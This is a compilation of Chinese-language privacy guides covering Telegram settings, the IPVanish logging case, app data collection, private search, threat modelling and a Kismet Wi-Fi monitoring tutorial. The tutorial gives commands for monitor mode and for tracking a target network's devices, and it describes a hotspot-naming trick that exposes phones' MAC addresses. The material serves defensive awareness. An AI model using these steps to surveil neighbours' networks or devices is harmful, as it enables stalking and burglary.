大多数寻找谷歌替代品的人都已经意识到 Google 的隐私状况太糟糕了，因为他们一直在尽可能地收集尽可能多的私人数据。

但是你的互联网服务提供商怎么样呢？

在美国，英国和澳大利亚，互联网服务提供商也在记录您的在线活

动。这些信息甚至可以合法地出售给第三方（在美国就是这样），也可以保存在政府数据库中，用于对您的监视（英国，美国和澳大利亚都这样）。

除政府监控机构外，还有许多其他第三方正在悄悄跟踪您的在线活动，如众所周知臭名昭著的 Facebook。

所以保护您的隐私的最佳方案是 VPN。它将加密并匿名您的在线活动，同时也隐藏您的真实 IP 地址和位置。没错，中国的 GFW 是个搬石头砸脚的项目，如果没有 GFW，想必很多中国互联网用户至今都不会认识到 VPN 的重要性。

请查看我们提供的工具箱，寻找最适合您的保护盾。

这是一场战斗，互联网上的所有人都无法回避的基本人权争夺战。我们的希望是每个人都能更加安全。

原文

Telegram的隐私保护指南，和信息搜索工具 - iyouport

自我保护措施-技术技巧以防身

紧急更新一个帖子给中国朋友，以应对当前和不久后未来的状况。

「图」

我们一直都不推荐 Telegram 作为敏感通信工具，它的唯一优点只有频道。但也因此，它汇聚了全球消息来源，尤其是对于突发事件来说，于是吸引了极大的人气。

我们此前介绍了 Telegram 用户被去匿名化的方法，见《从 Telegram 揭露您的身份信息可能吗？—— 有中国朋友提起了这个问题。答案是：可能》；本文将首先简单梳理 Telegram 的隐私安全问题，如果您必需使用它，至少应该注意这些事。

Telegram存在的隐私问题包括：

「图」

1、电话号码和其他与Telegram账户相关的数据都会被定期收集和储存，这对SIM卡实名的国家用户来说相当不方便（所有强制手机号码注册或验证的应用和服务都不值得推荐）。此外，当您的联系人之一加入该应用时，您就会收到通知（其他所有在Telegram上并且联系人中有新加入者的人也都会收到通知）。

2、标准的 Telegram 聊天并不是端对端加密的，要使用加密您必需手动选择。telegram 群组也不加密，甚至可以通过搜索引擎找到。

3、**Telegram** 只对传输中的数据进行加密（在服务器和终端用户之间），但它不对静态数据进行加密—— 已经发送的信息未加密地存储在Telegram的云服务器上，理论上Telegram的员工可以随意访问所

有这些信息，或者在数据泄露的情况下被无意中作为纯文本发布。这也是此前那位俄罗斯姑娘被抓住的可能原因之一。

4、如上，**Telegram** 上的群组和频道也是如此，无论它们是公开还是非公开的。在那里分享的任何东西，包括文件、多媒体等，都没有真正的隐私。

5、在对内容进行加密时，Telegram使用的是 MTProto，这是它自己的加密协议，也就是说没有其他人使用。虽然到目前为止还没有任何令人担忧的报道（MTProto毕竟是开源的），但这有可能成为问题，因为众所周知，专有的/晦涩的协议中的安全缺陷比被广泛使用的协议更难被发现。

如果您不得不使用 **Telegram** 并且担心自己的人身安全和隐私人权，唯一方法是为一对一的交流启用端对端加密。群聊就算了吧，真的不推荐。

请注意，端对端加密的聊天只能在移动设备中进行，不支持桌面版。

您可以在这里选择更安全的通信工具。

Telegram的隐私提示

「图」

建议所有中国用户务必做到以下这些措施中至少90%；敏感用户建议做到100%。Telegram多年来都是中国当局的重点盯防目标之一，您可能也知道这件事。

1、位置隐私 —— 确保 “附近的人” 功能被关闭（进入 “联系人” 」 “查找附近的人”）。这项功能应该是默认关闭的，除非您出于某种原因将其打开了，不要打开。不要用它来找朋友！在抗议现场的人们建议使用 **Briar** 或 **Berty** 等。在这里看到更多。（最理想的状况应该是您在自己的团队中提前部署这些设施；最差的情况是在抗议现场紧急组织并部署这些设施，以绕开镇压者的渗透。）

2、电话号码隐私 —— 进入Telegram设置 」 隐私和安全 」 电话号码。在那里，关于谁可以看到您的电话号码 」 选择 Nobody。不论您注册用的号码是否实名，都建议选择隐藏。

3、在线状态隐私 —— 转到 Telegram 设置 」 隐私和安全 」 “最后

出现&在线“，在这里选择 Nobody。这可以让您对其他用户显示为永久离线。（这点很重要，加密货币爱好者可能更了解这一安全措施？如果您尚未了解并且感兴趣，我们可以在未来更详细解释。总之，这里先选Nobody。）

4、头像照片隐私 —— 进入Telegram设置 」 隐私和安全 」 头像照片。在那里，选择 “我的联系人”（很遗憾这个地方您无法选择对所有人隐藏，所以，请特别注意不要随便添加联系人！确保只添加您认识的人！在这里看到伪装您的熟人这种手段如何成为对您去匿名化的攻击形式）。

5、通话隐私 —— 进入Telegram设置 」 隐私和安全 」 通话。在那里，选择 Nobody。

6、消息隐私 —— 进入Telegram设置 」 隐私和安全 」 转发的消息。在那里，选择 Nobody （注意，在下面您可以添加个别例外。尽可能不添加比较好）。

7、群组添加隐私 —— 进入Telegram设置 」 隐私和安全 」 群组和频道。从那里，选择 “我的联系人”。这将防止随机用户将您加入群组和频道。

8、双因素身份验证 —— 进入Telegram设置 」 隐私和安全 」 开启2FA。

9、额外的安全—— 对于那些有额外安全意识和/或需求的人来说，以下两个额外的功能可以利用：

a) 禁用数据和存储设置中的后台下载选项 **Background Download** —— 这将阻止应用程序自动下载媒体文件，让您可以更好地控制您想下载什么文件以及从谁那里下载。

b) 启用链接预览设置 —— 进入Telegram设置 」 隐私和安全 Privacy and Security 」 数据设置 Data Settings 」 链接预览 Link Previews。这将允许您在点击链接之前进行预览，以便减少钓鱼攻击的可能性 —— 建议拒绝所有缩短链接！在查看到原链接之前不要直接点击！查看原链接的方法在这里。

针对**Telegram**的信息搜索工具

「图」

昨天我们提醒了接下来更可能出现的局势 —— 不仅有“秋后”，还包括信息战，统治者将使用大量歪曲的信息污染抗议战略，分化抗议者、恐吓支持者，旨在扑灭那些已经燃起的火焰。

这种情况下后勤人员需要发挥作用：搜集信息、验证信息，即 开源情报。准确说是社交媒体情报。我们发布过非常多开源情报工具集（有一整个系列）但现在您可以不容易找到最想要的工具。于是以下内容我们将总结一些针对 Telegram进行搜索的基本工具。

强调，建议参与这项工作的朋友为 Telegram 安装一个桌面应用程序，这里是下载页面的官方链接，这样可以简化搜索，并允许您绕开移动应用环境的限制对URL进行操作。

聊天记录导出功能也只限于Telegram的桌面版。可以通过在桌面应用程序上打开感兴趣的聊天，并点击右上角的三点图标来找到它。您可以选择您的聊天记录导出偏好—— 以及选择下载文件的大小限制（目前最大为4GB）。

以下是一些 Telegram 的搜索引擎

「图」

Commentgram—谷歌为Telegram频道中的评论定制的搜索引擎。

Lyzem—被宣传为 “专门为Telegram和Telegraph平台创建的独立搜索引擎”。是搜索关键词、频道和公开组的可靠工具。包含一个允许用户对帖子进行索引的综合服务—@IndexPost_bot。

Telegago—专为Telegram的谷歌定制搜索引擎。

Telemetrio—按评级、人气、国家等排序的Telegram频道的巨大列表。

TGStat—包含大量的可搜索目录和特定国家的频道指标。

Tlgrm EU—按类别分组的各种频道列表。这个网站维护着一个频道目录，如果您有自己喜欢的频道，可以通过填写一个小表格后将您的最爱加入该目录。

还有其他 Telegram CSE，很多开源情报爱好者都在开发自己的小工具，搜索结果可能有所不同，取决于它们索引的来源，也取决于这些来源的更新程度。比如这里是一个可靠的 Telegram CSE 的例子（作

者不详）。

关于信息验证方法，见我们的列表-5中 “开始调查”板块。

就是这样！希望所有抗议行动的参与者和支持者都能顺利平安。

这两天来IYP回答了非常多的提问，很多中国朋友提出了重要的和值得深入研究的话题，令人兴奋。预告：接下来的时间里，我们将对这些问题进行仔细整理，并逐一发布我们的详细分析，最终汇总它们。因为这是一个非常好的机会可以提升各位有志之士在各方面的能力。此刻的工作要点，保护安全！保存实力！晚些时候见。〇

原文

VPN 如何出卖了你：声明“不记录日志”的 VPN 服务 IPVanish 卷入日志丑闻 - iYouPort

自我保护措施-技术技巧以防身

流行的“无日志” VPN 服务 IPVanish 似乎卷入了一个日志丑闻，用户日志被提供给正在调查刑事案件的当局。虽然这里没有人捍卫犯罪分子的行为，但重要的是，要认识到 VPN 服务会在何时无法维护其“零日志”策略以及对客户隐私的承诺。

这是 VPN 服务的“无日志”声明无法应对执法行为的又一个值得思考的案例。

IPVanish 现在加入了诸如 PureVPN，HideMyAss 和 EarthVPN 之类的行列，这些软件在各种刑事案件中都向当局提供了日志 – 可在这里参见 VPN关于日志的 说明以及对这些案例的讨论。

IPVanish “日志事件“的事实

在深入研究案件事实之前，需要注意的是：

IPVanish 是美国的 **VPN** 服务（⚠ Five Eyes）

美国当局（国土安全部）针对了一名美国居民（印第安纳州）

IPVanish 多年来都声称拥有“ 严格的零日志政策 ”（例如此处）

这一具体案件涉及到美国国土安全部代理人在 2016 年对 IPVanish 用户进行调查后发生的儿童虐待和色情活动。

完整的宣誓书包括由“嫌疑人”向国土安全部代理人发送的材料的图形描述。你可以在这里找到刑事宣誓书（也在这里有存档）。本文将只包括以下有关 IPVanish 及其记录实践的相关部分。

下图是宣誓书第23页的内容（22/28）：

「图」

「图」

正如你所看到的，国土安全部向 IPVanish 的母公司 **Highwinds Network Group** 发出了“ 记录传票 ”。根据这些记录，当局没有使用传讯、搜查令或附有禁令的所谓“国家安全信函”。这仅仅是一个对用户信息的索取要求。

大约两周后，2016 年 5 月 26 日，IPVanish 回复了传票，基本上声明他们没有任何用户数据，因为他们“没有记录任何使用信息”。

然而，在调查人员跟进请求后，Highwinds Network Group（IPVanish）告诉当局“ 提交第二次传票，要求更详细的用户信息。”

2016 年 6 月 9 日，调查人员向 IPVanish 提出了另一项要求，索取“任何与使用 IP 209.197.26.72，端口 6667 的 IRC 流量相关的数据。”十二天后，**IPVanish** 向国土安全部门提供了有关“嫌疑人”的以下数据记录：

「图」

「图」

根据宣誓书，IPVanish还向美国国土安全部门提供了以下用户数据：

- 可疑用户的源 IP 地址（50.178.206.161）
- 可疑用户与 IRC 网络连接并断开连接的日期和时间

第二个项对于这种情况来说非常重要，因为它证明了 IPVanish 正在（或曾经在）保存用户活动的详细日志，这明显违背了他们声称所拥有的“零日志策略”。

从 IPVanish 的母公司 Highwinds Network Group 获得连接和使用日志后，DHS 当局能够通过他的 Comcast IP 地址和位于印第安纳州 Muncie 的位置轻松识别到用户。Comcast 随后向有关当局提供了有关嫌疑人的更多信息，当局随后在 Vincent Gevirtz 和他在印第安纳州曼西的住所提供了联邦搜查令。

IPVanish日志记录策略

IPVanish 这个自称拥有“零日志”的 VPN 提供商有着悠久历史。

使用 WayBack 机器，我们可以在事件发生前（2016年4月）和事件发生后（2016年8月）看到 IPVanish 的隐私政策。在此事件以及这两个隐私政策中，您可以看到，IPVanish 提出了以下要求：

“IPVanish不会收集或记录任何流量或使用其虚拟专用网络服务。”

你甚至可以在 2016 年6月的主页上看到 – 正是在这种情况发生的时候 — IPVanish 仍然在声称拥有“严格的零日志政策”：

「图」

「图」

上图是 2016年6月摘自 IPVanish 的主页

注意：IPVanish 今天在其主页上使用的依旧是“严格的零日志策略”相同的措辞。

IPVanish 首席执行官在 reddit 上的回应

在这起案件后，一名名为“ lavosby ” 的用户声称是 IPVanish 首席执行官 – 发布了以下回复：

「图」

「图」

后来在同一主题中，用户“lavosby”解释说 **IPVanish** 是由 **Stackpath** 于 **2017** 年**2**月**2**日收购的。事实上，我发现 这篇博文验证了 2017 年 Highwinds 如何被 Stackpath 收购。现在看来， Highwinds 和 IPVanish 都在 Stackpath 下运行。

在解释这些记录事件时，lavosby 说：“我们只能猜测，这是来自当局的一次性命令。”

当然，无法验证这是否属实，或者 IPVanish 现在是否真的是“无日志”VPN 服务。

然而，可以验证的是，IPVanish 在他们记录用户数据并将其交给美国当局的确切时间内仍在声称自己拥有“严格的零日志策略”。

在请求 IPVanish 的回应后，他们提供了恢复隐私声明：

> That court case was from 2016 – long before StackPath acquired IPVanish in 2017. IPVanish does not, has not, and will not log or store logs of our users as a StackPath company. We can't speak to what happened on someone else's watch, and that management team is long gone. In addition to not logging, StackPath will defend the privacy of our users, regardless of who demands otherwise.

你可以信任谁？

这种情况再一次说明了选择 VPN 服务时最根本的问题：信任。

不幸的是，有几种不同的情况已经显示 VPN 在公开提供客户数据给主管当局时公然违反了他们的“无日志”原则。那么你还能相信任何 VPN 服务吗？

然而也有另一些 VPN 已经通过刑事案件验证了他们的不收集声明。以下是这些案例的三个简要例子：

2016年，Private Internet Access （美国境内）在联邦调查局涉及假炸弹威胁的案件中接受了“无日志”声明的测试。PIA 在法庭上公开表示他们没有任何他们能够提供的调查日志。

2017 年 Perfect Privacy（位于瑞士）在鹿特丹有两台服务器。由于没有日志和所有在 RAM 磁盘模式下运行的服务器，因此没有客户数据受到影响。（服务器扣押的确切原因尚未被荷兰当局公开披露）

2017 年 ExpressVPN （位于英属维尔京群岛）被土耳其查获服务器。当局无法获得任何用户数据。ExpressVPN 还发布了一份公开声明，解释说他们由于没有日志记录政策而无法向主管部门提供任何数据。

这就是为什么说读新闻很重要。

这些案例还说明了在良好的隐私管辖范围内选择 VPN 的重要性（排除 "5 眼和 14 眼以外的国家/地区"）。毕竟，美国当局有能力强迫任何公司交出用户数据，同时通过禁令来禁止任何形式的披露 —— 你被卖了都不会知道。

从上面的宣誓书可以看出，美国当局继续对 IPVanish 施加压力，直到他们同意交出用户数据。与 PureVPN 一样，美国当局也成功地从海外 **VPN** 提供商获取数据。

> ⚠ 本文的重点在于强调关于这个 IPVanish 日志记录案例的事实，并说明 VPN 行业中“无日志”声明所存在的一些问题。总之，在选择 VPN 时你应该注意：别选美国的和中国的、以及 五眼和十四眼国家的；别错过新闻报道，追踪那些你投入了信任的公司的故事，一旦发现前车之鉴，建议马上收回你的信任。

原文

WhatsApp、Signal、Telegram，Facebook Messenger：每个应用程序都收集什么数据？ - iYouPort

自我保护措施-技术技巧以防身

几乎没有人去读那些冗长的隐私政策，而仅仅将隐私政策中的细节以简要的方式呈现出来，这些寡头公司就勃然大怒了。足见，他们把政策政策写得这么难读，完全是有意而为的

「图」

「图」

WhatsApp 的新隐私政策让人们忧心忡忡，但与 Signal、Telegram 和 Facebook Messenger 等其他消息应用相比，它收集了多少数据呢？

事实证明，它收集的数据要多得多。从苹果 App Store 上显示的这些消息应用的隐私标签就可以看出，Facebook 旗下的两款应用（Messenger 和 WhatsApp）都会收集使用数据和位置细节，不像其他应用。相比之下，Signal 是最私密的消息应用，并没有收集任何用户数据。也许鉴于这一事实，Facebook 早些时候批评了苹果显示隐私标签的举动，这并不奇怪。

App Store 上的细节显示，在用户数据收集方面，Facebook Messenger 是“最有收获的”，其次是 WhatsApp。两款应用收集的数据清单包括用户的购买记录、财务信息、位置详情、联系人、电话号码、电子邮件地址、和使用数据等。

在人们对 WhatsApp 新的隐私政策变化表示担忧的时候也必须接受这个新的隐私政策，否则您的账户将被删除，展示下这款仅在印度就拥有4亿用户的应用程序所收集的所有数据，是有意义的，

- 不要错过《如果您必需使用 WhatsApp：这里是减少伤害的办

法》

如果您有 iPhone，可以自己在 App Store 上看到这些细节。下面是这些应用收集的所有数据的详细类目。

WhatsApp：

- 设备ID
- 用户ID
- 广告数据
- 购买历史
- 粗略的位置
- 联系电话
- 电子邮件地址
- 互动数据
- 崩溃数据
- 性能数据
- 其他诊断数据
- 付款信息
- 客户支持
- 其他用户内容

Facebook Messenger：

- 购买历史
- 其他财务信息
- 精确的位置
- 粗略位置
- 物理地址
- 电子邮件地址
- 名字
- 联系电话
- 其他用户联系信息
- 照片或视频
- 游戏内容
- 其他用户内容
- 搜索历史
- 浏览历史
- 用户ID
- 设备ID
- 产品互动

- 广告数据
- 其他使用数据
- 崩溃数据
- 性能数据
- 其他诊断数据
- 其他数据类型
- 健康数据
- 健身数据
- 付款信息
- 音频数据
- 客户支持
- 其他用户内容
- 敏感信息
- iMessage通信文本
- 电话号码搜索历史

Signal：

- 什么都不收集。Signal 存储的唯一个人数据是您的电话号码，并且不会尝试将其链接到您的身份，所以您可以使用未实名的一次性手机号注册，比如《如何在不必暴露真实电话号码的情况下使用 Signal》

Telegram：

- 联系信息
- 联系人
- 用户身份

年初苹果的隐私标签开始出现在 App Store 上后不久，Facebook 用一整版广告批评这个隐私标签。WhatsApp 也指责苹果在最近的更新中实施了“反竞争政策”。该应用还通过常见问题对其用户数据收集进行了一些澄清。不过，网上分享的列表表明了这些批评和指责的原因。

需要指出的是，**App Store** 上的隐私标签是基于开发者向苹果公司进行的自我提交，并没有经过人工检查，也就是说，如果是隐藏的秘密的数据收集，并无法呈现出来。尽管包括 Facebook 在内的公司在其冗长的隐私政策中也提供了这样的细节，而这些隐私政策并没有被大量用户阅读。不要错过《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识》。

📌 最后，不要忘了，安全并非哪个软件，如果您的操作失误和没能遵守《安全文化》，再好的软件可能也无法保护您。比如signal，见《如何安全地使用 Signal：准则》。一定要让您的亲密团队中所有人遵守这些规则。〇

原文

Wi-Fi是如何出卖你的？ - iyouport

自我保护措施-技术技巧以防身

【2020年4月22日存档】任何您希望保密的操作就不应该使用Wi-Fi。这不是第一次警告。

您的房屋有隔离墙，但Wi-Fi信号会穿过它们，是的它很强大，还没进家门的时候你的手机就知道自己“回家了”。但是，从这些数据中可以搜集到大量信息，包括：居民出入的时间、附近所有无线设备的制造商、以及在任何给定时间使用的网络资源。

去年我们已经介绍过《为什么你不应该使用**Wi-Fi**》，演示了一场追踪。

今天介绍的是一个追踪工具：Kismet，⚠它不仅擅长查找无线接入点（AP），而且还擅长显示设备之间随时间的关系。如果方便的话您可以试试，亲身体验下这件事有多可怕。

在这种情况下，您可以看到的是路由器和连接的设备、人类活动、以及哪些设备属于谁？这足以使您拼凑出比您想象的更多的东西。

⚠如果您知道追踪者不仅可以看到您是否在家，还可以看到您在任何给定时间是否在 PlayStation 或笔记本电脑上，那么您可能更倾向于切换到有线网络或至少关闭Wi-Fi不使用的设备。

为了发挥其魔力，Kismet 使用处于监视模式的无线网卡以静默方式扫描范围内所有可用的Wi-Fi信道以获取无线数据包。这些数据包可以是自动的信标帧、每秒广播多次的无线AP、从关联设备交换的数据包、或探测附近尚未连接到网络但正在搜索要连接的网络的设备。

通过解码和组合这些数据，Kismet 可以可视化您周围的网络以及连接到这些网络的设备的活动。

Wi-Fi可以告诉您什么？

「图」

那么，要想尝试它您该怎么做呢？

一旦确定了您希望监视的网络，就可以探索有关它的细微差别，例如企业或个人已将哪种电子设备和硬件连接到其网络。

通过这种设置，隐藏的3D打印机或连接的水培设备集群就像一堆智能手机和笔记本电脑一样清晰可见。

此数据可以怎么用，要取决于您是谁。

对于小偷来说，他们可以使用这种方法侦听无线范围内每所房屋以发现昂贵的电子产品。

对于普通人来说，由于 Kismet 可以轻松地检测到无线监视摄像机，因此您可以提前避免被监视。

- 不要错过《如何找到旅店房间里隐藏的摄像头？》

而且因为您可以看到客户端设备何时出现、何时消失、和使用数据，所以很容易推断出何时没有人在家。

⚠甚至，窃贼只需要在附近走一圈，将GPS数据与Wi-Fi信号数据结合起来，就可以构建每个无线网络所属地址的详细地图。

实际上，该数据可能已经存在，因为 Wigle Wifi 和 Google 都在映射更多的Wi-Fi网络。这是*Wigle.net*显示的洛杉矶市中心的无线网络映射

应该注意的是，它也可以用作一种邻里监视以检测邻居的可疑无线活动。这可以帮助发现网络犯罪的迹象，可以将其报告给知道如何进行调查的人，因为普通警察通常不会这样做。

无论您打算把它做什么用途，都不需要花太多时间就可以做到直接穿墙窥视……不要做坏事！

您需要什么？

「图」

要遵循本指南，您只需要几件事。

第一个是 Kali 兼容的无线网络适配器，第二个是可在其上运行 Kismet 的 Linux 系统。

尽管新版本的 Kismet 可以运行多种无线卡（包括在macOS上的），但本文将介绍较旧的稳定版。建议使用比如远程 Panda Wireless PAU09 双波段适配器，或者在这里介绍的更多选择。

如果您希望在 Raspberry Pi 上运行 Kismet，别忘了它可以在虚拟机上运行。

第1步：安装 Kismet

「图」

要在 Kali Linux 上安装 Kismet，首先使用以下git命令：

```
git clone https://www.kismetwireless.net/git/
kismet.git
```

根据您使用的操作系统，Kismet 可能不需要任何依赖项。但是为了确保Kismet正确运行，应该安装 Kismet 冗长的依赖项列表。

这些都是必需的，因为 Kismet 会在控制无线卡的同时处理大量无线数据的检测，解码，记录和分类，这需要安装多个库。您可以通过在终端窗口中运行以下命令来执行此操作。

```
sudo apt-get install build-essential git
libmicrohttpd-dev zlib1g-dev libnl-3-dev libnl-
genl-3-dev libcap-dev libpcap-dev libncurses5-dev
libnm-dev libdw-dev libsqlite3-dev
```

接下来，导航到使用cd创建的 Kismet 目录，并配置安装。

```
cd kismet ./configure
```

这将为您的特定OS发行版配置安装。该过程完成后，使用以下命令创建安装：

```
make
```

完成上述后运行结果文件以使用 suidinstall 完成安装。这很重要，因为 Kismet 直接接收信号并将数据写入您的计算机。

⚠以 root 用户身份执行此操作是个糟糕的主意，因为如果其中任何数据是恶意的，都可以 root 用户身份执行。

当无特权的用户想要完成需要特权的任务时，例如控制无线网络适配器，Linux 允许您为程序（而不是用户）赋予特权，因此不必root。

运行以下命令以完成SUID安装。

```
sudo make suidinstall
```

安装 Kismet 后，请将您自己添加到 Kismet 组中，以便能够以非root用户身份捕获数据包。确保将 **“YourUsername”** 替换为您的实际用户名。

```
sudo usermod -a -G kismet YourUsername
```

第2步：将无线卡置于监控模式

「图」

将无线网卡连接到计算机，如果需要，请使用“ USB”设置将其连接到虚拟机。

要找到您的卡，可以使用 **ip a** 或 **ifconfig** 命令。您的卡应命名为“ wlan1”或“ wlan0”。

获得卡名后，可以通过运行以下命令将卡置于监控模式。

```
sudo airmon-ng start YourCardName
```

这会将 YourCardName（一定要用您实际的卡名替换）置于监控模式。您的卡将被重命名以在卡名称的末尾添加“ mon”。

因此，如果以前将其命名为“ wlan0”，则现在就变成了“ wlan0mon”。通过此更改，可以立即识别出卡处于无线监控模式。

我们将使用该卡的新名称来启动 Kismet。

第3步：启动Kismet

「图」

启动 Kismet 很简单。要以非root用户身份启动，只需键入以下内容。

```
kismet -c YourCardNameMon
```

确保在 **-c** 后面加上您在无线监控模式下显示的卡的名称。 Kismet 使用 **-c** 指定捕获源。

您应该看到 Kismet 启动并开始收集数据包。您可以按回车键浏览菜单选项，直到到达控制台窗口。要转到主屏幕，请单击 tab 按钮，然后按 Enter 键以关闭控制台视图。

第4步：持续网络监视

「图」

一旦启动 Kismet，您应该会在附近看到所有可以检测到的Wi-Fi设备的列表。

根据要扫描的是 2.4 GHz、5 GHz 还是同时扫描这两者，检测到的设备数量将有所不同。如果您有能力在无线网络适配器中添加天线，那么它可以扩展您的范围和检测到的设备数量。

您可以按名称、信号强度和其他属性排列这些网络。建议您通过信号强度来排列，以便首先查看哪些网络最强（因此最接近）。

锁定目标网络后，请在 Kismet 中单击该网络（或向下滚动至该网络）以了解有关该网络的更多信息。

突出显示目标网络后，首先要注意的是无线客户端列表出现在主窗口中。这些是与该网络关联的客户端。

要了解有关特定网络客户端的更多信息，可以在突出显示网络后单击“ Windows”，然后单击 “Client List”。

在客户端窗口中可以实时查看有关每个客户端的更多信息。

如果您有一个要持续监视的网络，那么建议您最好记下信道号。由于 Kismet 通过跳频浏览所有信道，因此，当 Kismet 扫描另一个信道时，您将错过一个信道上的所有传输。

因此，为了不错过数据，一旦您确定了要监视的网络，就应该从“扫

描”切换到持续监视一个信道。这将允许您捕获该信道上的所有活动。

为此，请单击左上角的 “Kismet”，然后单击 “Config Channel”。

在配置窗口中，选择 “Lock”，然后输入要监视的信道号。

探索你周围

「图」

人为的行为会影响您周围的无线信号，而 Kismet 可以让您观察无线环境中通常无法感知的这些变化。

这些网络被加密并不重要，因为它们与数据包的明文部分之间的关系已经足够了。

通过观察流经网络的流量的类型，不仅仅可以看到周围的事物，更有已经可以开始了解如何使用这些网络以及由谁使用这些网络。

特别是，Kismet 在 “Windows”下的菜单中有一个“警报”部分，它将警告您任何可疑的无线行为。

隐藏您的活动

「图」

你也许已经知道，由于Wi-Fi具有视线，使用定向Wi-Fi天线可以在近一英里外检测到Wi-Fi。这些信号是如此强大，以至于它们是通过NAVSOP（机会信号导航）进行军用GPS导航的备份。

大多数人只登录一次路由器，并且从不更改超出所需设置的任何设置，这是很糟糕的。

尽管每种品牌路由器的说明都不同，但几乎每个品牌都有功率设置。您可以把它调低 —— 制造商默认将其开到最大，以免您抱怨信号强度；如果您的Wi-Fi范围没有问题，请将其减小，使其仅覆盖所需的区域而不越界。

⚠您想保密的任何事情都应该硬连线，简单明了。

从 Kismet 列表隐藏设备

「图」

对于包括智能手机在内的客户端设备，请在不需要时关闭Wi-Fi设置。

您的Wi-Fi卡不仅可用于在家中和办公室里，也可用于在任何地方跟踪您。即使您未连接到**Wi-Fi**，也是如此。

智能手机制造商会在走动时尝试随机分配您手机广播的MAC地址，但这会在电话尝试连接到它认识的网络时消失。这意味着它无法经受住真正的攻击。

不相信吗？如果您将手机的移动热点更改为 “Google Starbucks”，则附近的几乎所有智能手机都将与您连接并显示其真实MAC地址，以便您进行跟踪。

这是真的。再一次强调：在不需要的时候关掉它吧！〇

原文

一种通过加密保护您隐私的搜索引擎 - iyouport

自我保护措施-技术技巧以防身

【2020年7月7日存档】它被设计为没有人能跟踪您。

Private.sh 是一个新的私密搜索引擎，它使用加密技术来确保任何人（甚至用户自己）都无法跟踪搜索历史记录。

Private.sh 与 GigaBlast 合作，这是一个免费的开源Web搜索引擎和目录，具有相同的隐私承诺。

有了这种合作伙伴关系，第一个真正的私密搜索引擎才有可能实现，每个合作伙伴都是解决难题的关键部分，从而为搜索引擎提供了以加密方式保护安全的新标准。

很有可能，您当前使用的搜索引擎不是私密的。

作为监视资本主义的重要资源之一，搜索引擎的核心功能和商业模式就是跟踪搜索内容以及搜索对象。

绝大多数搜索引擎都在使用个人身份信息（例如 您的IP地址和浏览器指纹）来创建或添加到您的个人资料中。

除了记录您要搜索的内容之外，非私密的搜索引擎还记录您点击的结果、花费了多长时间、您是否感到幸运等等。

使用非私密搜索引擎，不仅能够识别您（搜索者）、还要将搜索字词与用户个人资料相关联，同时针对您投放广告，这是监视资本主义业务模型的重要组成部分。

使用 Private.sh，您的隐私将受到加密和匿名性设计的保护。

当您在 Private.sh 中输入搜索字词时，该搜索字词会使用 GigaBlast 的公钥在客户端（您的计算机或设备上）进行加密，只有他们才能解

密。实际上，这可确保 Private.sh 永远不会看到搜索词。

搜索字词经过加密后，会 通过Private. sh代理传 递给GigaBla st搜索引擎，因此 GigaBlast 无法看到您的IP地址、浏览器指纹或任何可能破坏您的隐私的内容。这意味着 Private.sh 或 GigaBlast 均无法存储您的搜索历史记录。

最后，搜索结果由 GigaBlast 使用您的临时公钥加密，并通过 Private.sh 代理返回给您。然后将结果解密，使用仅存在于设备上的临时私钥在设备上本地呈现。对于每个搜索请求，都会更改此客户端密钥对。

还在不断改进

「图」

另一个好处是，由于 Private.sh 和 GigaBlast 都无法在您身上建立用户个人资料，因此您每次都能获得无偏见的私密搜索结果。避免了被算法操纵。

您可能会注意到，这些结果并不那么 “准确” 或在算法上不适合您。而那些所谓的 “准确” 是建立在对你的一切心思充分窥探的基础上。这些东西积累起来您肯定会害怕的 —— 因为其目标是更有效地操纵您。

Private.sh 称将不断努力改善您的搜索体验，在不影响您的安全性的基础上。

○□

Introducing Private.sh: A search engine that cryptographically protects your privacy

原文

了解自己的状况是保护安全的第一步 - iYouPort

自我保护措施-技术技巧以防身

试图始终保护所有人的数据是不切实际的，还很可能筋疲力尽。

但是，不要怕！安全是一个过程，通过周到的计划，您可以评估什么是真正适合您的。

安全性与您使用的工具或您下载的软件并不直接相关。首先要了解您面临的独特威胁以及如何应对这些威胁，才是最重要的。

「图」

「图」

在计算机安全方面，您可以通过确定需要保护的内容以及需要保护的人来应对您面临的威胁。此过程称为“威胁建模”。

本指南将教您如何制作简单的威胁模型，或如何评估您的数字信息风险，以及如何确定最适合您的解决方案。

威胁建模可能是什么样的？假设你想保持你的房子和财产安全，这里有几个问题你可能会问：

- 我家里有什么值得保护的东西？—— 资产可能包括：珠宝，电子产品，财务文件，护照或照片等；
- 我想防备什么人？—— 对手可能包括：窃贼，室友或客人；
- 我保护它的可能性有多大？—— 我的邻居有盗窃史吗？我的室友/客人有多值得信赖？我的对手有什么能力？我应该考虑哪些风险？
- 如果我失败会有多严重的后果？—— 有什么东西是我无法弥补吗？我有时间或金钱来弥补这些东西吗？我是否有保险足够赔偿这一切？
- 我愿意花多少钱来防止这些后果？—— 我愿意为敏感文件购买

保险箱吗？我可以买得起高质量的锁吗？我是否有时间在当地银行开一个保险箱并将贵重物品放在那里？

一旦您问自己这些问题，您就可以评估要采取的措施。如果你的财产很有价值，但是闯入的风险很低，那么你可能不想在保护层面投入太多钱。但是，如果风险很高，您很可能希望获得市场上最好的锁，并考虑添加安全系统。

构建威胁模型将帮助您了解您独有的威胁，评估您的资产、攻击者以及攻击者的能力，最重要的是您面临的风险。

威胁建模可帮助您识别对您重要的事物的威胁，并确定您需要防备什么人。在构建威胁模型时，请回答以下五个问题：

- 我想保护什么？
- 我想防备谁？
- 如果我失败会有多严重的后果？
- 我保护它的可能性有多大？
- 我愿意花多少钱来防止潜在的后果？

让我们仔细看看这些问题。

“资产”是您重视并希望保护的东西。在数字安全的背景下，资产通常是某种信息。例如，您的电子邮件，联系人列表，即时消息，位置和文件都是可能的资产。您的设备也是资产。

列出您的资产：您保留的数据，在哪保存，谁有权访问这些数据以及如何阻止他人访问数据。

要回答这个问题，先确定谁可能想要定位您或您的信息对谁非常重要。对您的资产构成威胁的个人或实体就是“对手”。潜在对手的例子包括：政府和警察、您的老板，您的前合作伙伴、您的商业竞争、或公共网络上的黑客。

列出您的对手或可能希望获得您的资产的人员。清单可能包括个人、政府机构或公司。

⚠根据您的对手是谁，在某些情况下，您可能希望在完成威胁建模后销毁此列表。

攻击者可以通过多种方式威胁您的数据。例如，攻击者可以在通过网络时读取您的私人通信，也可以删除或损坏您的数据。

对手的动机和攻击的区别很大。试图阻止视频传播的政府可能会满足于简单地删除或减少该视频的可用性。相比之下，政治对手可能希望获得秘密内容并在您不知情的情况下发布该内容。

